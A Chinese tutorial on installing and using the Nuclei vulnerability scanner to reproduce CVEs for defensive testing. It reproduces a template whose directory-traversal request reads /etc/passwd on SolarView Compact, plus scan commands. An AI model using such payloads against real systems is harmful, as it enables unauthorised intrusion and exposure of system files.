POC模拟攻击利器 —— Nuclei入门(一)


引入Nuclei的缘由

使用dependency check 发现的问题,需要研发人员修复,研发人员要求复现问题!这个的确有难度不仅仅要了解cve 相关bug的具体含义,还要模拟攻击,对于测试人员显然要求过高!凭借自己多年的各种测试工具调研经验,直觉告诉自己,应该有类似的工具,经过各种技术调研选择了Nuclei。使用Nuclei主要对cve相关问题进行模拟,另外并不是所有的cve问题该工具都能模拟,建议大家使用前可以自行查看需要验证的cve问题是否在nuclei的template中,如果不在,还需要自行创建。

Nuclei基础

Nuclei是一款基于YAML语法模板的开发的定制化快速漏洞扫描器。它使用Go语言开发,具有很强的可配置性、可扩展性和易用性。Nuclei使用零误报的定制模板向目标发送请求,同时可以对大量主机进行快速扫描。Nuclei提供TCP、DNS、HTTP、FILE等各类协议的扫描,通过强大且灵活的模板,可以使用Nuclei模拟各种安全检查。

Nuclei安装

首先安装go环境(go1.17以上版本)

下载对应平台的安装包,默认安装即可,本文默认安装windows版本

https://github.com/projectdiscovery/nuclei/releases

Nuclei基础使用介绍

原理:根据yaml模板中的内容模拟攻击请求,然后根据响应结果来判断系统中是否存在漏洞。内置yaml文件路径如下:(本文只关注cve相关漏洞)

上图中一个yaml文件其实就模拟了一个攻击请求,以CVE-2022-29298.yaml为例,文件内如如下:

id: CVE-2022-29298

info:

name: SolarView Compact 6.00 - Directory Traversal

author: ritikchaddha

severity: high

description: SolarView Compact ver.6.00 allows attackers to access sensitive files via directory traversal.

reference:

- https://www.exploit-db.com/exploits/50950

- https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view

- https://nvd.nist.gov/vuln/detail/CVE-2022-29298

- https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cve-id: CVE-2022-29298

cwe-id: CWE-22

metadata:

shodan-query: http.html:"SolarView Compact"

verified: "true"

tags: cve,cve2022,lfi,solarview

requests:

- method: GET

path:

- "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg"

matchers-condition: and

matchers:

- type: regex

part: body

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

我们可以重点关注以下字段:

severity表示这个cve漏洞的级别

tags,表示这个漏洞被定义的标签,cve表示在命令行中输入cve标签时会执行该yaml

requests,表示要模拟的请求,关于method: GET、path"{{BaseURL}} "、就不详细讲解了,他们与http协议中定义的内容一致。

Matchers,简单的说就是用于对请求响应的校验,上述代码中校验了响应中的两项内容:

通过正则方式- type: regex校验响应body里是否有满足正则表达式- "root:.*:0:0:"的内容

校验响应的状态码- type: status 是否是200。

这两项校验内容是与的关系,matchers-condition: and(默认是or),关于更多的matcher相关知识我会加后面的文章中提及。

关于编写http请求的详细规则请参考

https://nuclei.projectdiscovery.io/templating-guide/protocols/http/

具体template编写语法请参考

https://github.com/projectdiscovery/nuclei/blob/master/SYNTAX-REFERENCE.md

备注:从v2.5.2开始,nuclei在运行时会自动更新template

注意:这里有的同学可能要问下面的语法形式是什么意思呢?

- type: status

status:

- 200

这是yaml语法,大家可以自行百度之!

Nuclei常用命令

Nuclei帮助文档

nuclei –h

这里就不再详细介绍了,自行查看即可。其他常用命令如下:

1.对url https://example.com,进行cve规则的检测(通过tags cve),检测的漏洞级别是critical和high,作者是geeknik

nuclei -u https://example.com -tags cve -severity critical,high -author geeknik -o result.txt

2.对url https://example.com, 控制台输出统计结果-stats,检测的漏洞级别是critical和high,并把结果输出到result2.json(推荐,json形式的报告统计信息非常详细)

nuclei -u https://example.com -stats -severity critical,high -o result2.json -json -irr

3.对url https://example.com,进行模板CVE-2022-1439.yaml的检测

nuclei -debug -u https://example.com -t \cves\2022\CVE-2022-1439.yaml

4.nuclei也支持对不同的url进行扫描,定义一个txt文件,然后里面保存需要扫描的url,具体使用如下:

nuclei -list urls.txt

urls.txt包括的内容如下:

http://example.com

http://app.example.com

http://test.example.com

http://uat.example.com

5.如果想把结果以不同格式输出,参考如下:

#输出结果为JSON格式

nuclei -u https://example.com -json

#输出结果保存到Markdown格式文件

nuclei -u https://example.com -me result

更多输出结果,请参考nuclei –h 的OUTPUT字段,内容如下:

OUTPUT:

-o, -output string output file to write found issues/vulnerabilities

-sresp, -store-resp store all request/response passed through nuclei to output directory

-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")

-silent display findings only

-nc, -no-color disable output content coloring (ANSI escape codes)

-json write output in JSONL(ines) format

-irr, -include-rr include request/response pairs in the JSONL output (for findings only)

-nm, -no-meta disable printing result metadata in cli output

-nts, -no-timestamp disable printing timestamp in cli output

-rdb, -report-db string nuclei reporting database (always use this to persist report data)

-ms, -matcher-status display match failure status

-me, -markdown-export string directory to export results in markdown format

-se, -sarif-export string file to export results in SARIF format

自定义检测模板

Nuclei支持自定义编写YAML语法模板,您可以工具自己的需求编写自己的检测模板。

例如定义模板mytemplate.yaml,内容如下:

id: basic-example

info:

name: Test HTTP Template

author: pdteam

severity: info

requests:

- method: GET

path:

- "{{BaseURL}}/"

matchers:

- type: word

words:

- "This is test matcher text"

调用时,执行如下命令即可:

nuclei -u https://example.com -t mytemplate.yaml

nuclei使用总结

首先确认要扫描的接口(http,url),这点没有appscan,zap工具方便,他们可以主动探索攻击;

然后确认要扫描的规则,即确认yaml文件(根据tag选择想检测的内容,例如:cve、panel、lfi、xss等等),我们可以使用nuclei自带的yaml,也可以自定义yaml,为了提升扫描效率我们还可以自定义workflows,这个话题会在后面的文章中提及;

最后就是通过命令运行脚本并生成测试报告。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,723评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,003评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,512评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,825评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,874评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,841评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,812评论 3 416
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,582评论 0 271
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,033评论 1 308
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,309评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,450评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,158评论 5 341
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,789评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,409评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,609评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,440评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,357评论 2 352

推荐阅读更多精彩内容